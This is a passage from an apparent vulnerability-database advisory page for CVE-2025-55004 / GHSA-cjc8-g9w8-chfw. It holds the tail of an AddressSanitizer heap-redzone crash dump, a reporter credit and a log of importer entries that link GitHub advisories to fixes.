0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1562409==ABORTING ``` ## **Reporter Credit** Google Big Sleep CVE-2025-55004
GHSA-cjc8-g9w8-chfw

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-07T04:58:34.376746+00:00 GHSA Importer Fixing VCID-a2qm-vkc3-qkd5 https://github.com/advisories/GHSA-6hgw-6x87-578x 38.1.0
2026-04-07T04:58:34.149214+00:00 GHSA Importer Fixing VCID-ef36-52cx-dfg5 https://github.com/advisories/GHSA-qp29-wxp5-wh82 38.1.0
2026-04-07T04:58:33.599119+00:00 GHSA Importer Fixing VCID-vbdt-31wd-v3h8 https://github.com/advisories/GHSA-cjc8-g9w8-chfw 38.1.0
2026-04-01T12:55:59.115158+00:00 GithubOSV Importer Fixing VCID-vbdt-31wd-v3h8 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-cjc8-g9w8-chfw/GHSA-cjc8-g9w8-chfw.json 38.0.0
2026-04-01T12:55:53.358208+00:00 GithubOSV Importer Fixing VCID-ef36-52cx-dfg5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-qp29-wxp5-wh82/GHSA-qp29-wxp5-wh82.json 38.0.0
2026-04-01T12:55:50.969203+00:00 GithubOSV Importer Fixing VCID-a2qm-vkc3-qkd5 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-6hgw-6x87-578x/GHSA-6hgw-6x87-578x.json 38.0.0